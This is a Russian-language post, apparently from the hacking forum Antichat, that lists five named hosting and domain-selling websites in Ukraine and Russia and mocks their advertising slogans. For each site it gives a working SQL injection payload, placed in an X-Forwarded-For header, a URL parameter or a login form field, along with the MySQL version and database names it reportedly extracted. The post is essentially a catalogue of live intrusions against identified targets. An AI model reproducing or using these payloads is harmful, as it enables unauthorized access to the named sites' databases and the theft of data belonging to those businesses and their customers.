ANTICHAT - Показать сообщение отдельно

хостинги, домены etc

1. хостинг uh.ua - крупнейший хостинг в Украине!

:FACEPALM:

Скуля в хидере X-Forwarded-For

MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Код:

GET / HTTP/1.1
Accept-encoding: gzip,deflate
X-Forwarded-For: ' AND (SELECT 5745 FROM(SELECT COUNT(*),CONCAT(0x3a6c71613a,(MID((IFNULL(CAST(version() AS CHAR),0x20)),1,50)),0x3a76636b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lol'='lol
Host: uh.ua
Accept: text/html
User-agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2
Connection: close

version(): '5.0.51a-community-log'

dbs:

ukrhost_dba

ukrhost_db

2. хостинг www.kosmohost.com - это ключ к надежности, успеху и процветанию Вашего бизнеса в сети Интернет!

Ага, надежности

MySQL UNION query (NULL) - 10 columns

Код:

www.kosmohost.com/catclient.php?cat=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x3a7869653a%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%2C0x3a767a623a%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23

version(): '5.5.27'

dbs:

r000100_hosting

3. www.hostobzor.ru - эпицентр русскоязычного хостинга

AND boolean-based blind - WHERE or HAVING clause

Код:

www.hostobzor.ru/certified/info.php?pid=1%27%20AND%20ORD%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C11%2C1%29%29%3E1%20AND%20%27TvIu%27%3D%27TvIu

version(): '5.0.90-log'

dbs:

srv21398_ho

srv21398_ho20

test

4. www.imget.ru - бесплатный хостинг изображений

Скуля в параметре login для /login.php

а также в Cookies в параметре login везде

MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Код:

POST /login.php HTTP/1.1
Accept-encoding: gzip,deflate
Accept: text/html
User-agent: Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Host: www.imget.ru
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded
Content-length: 323
Connection: close

login=1%27%20AND%20%28SELECT%203052%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a686b793a%2C%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a6175683a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27zfeS%27%3D%27zfeS

version(): '5.1.63-0+squeeze1-log'

dbs:

imget

и на закуску

5. namecom.ru - продажа зарегистрированных доменов, барыжат доменами от 1000 баксов, даже себя продают =/

MySQL UNION query (NULL) - 3 columns

Код:

namecom.ru/page.php?id=-6835%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x3a6c756a3a%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%2C0x3a7578623a%29%2CNULL%23

version(): '5.0.51a-community'

dbs:

admin_clubegoist

admin_cocovoyage

admin_coevent2

admin_domainfest

admin_multiviza

admin_mumm

admin_namecom

admin_orbico

admin_shestakoff

admin_topsignature

admin_travelcenter

admin_zelkor

information_schema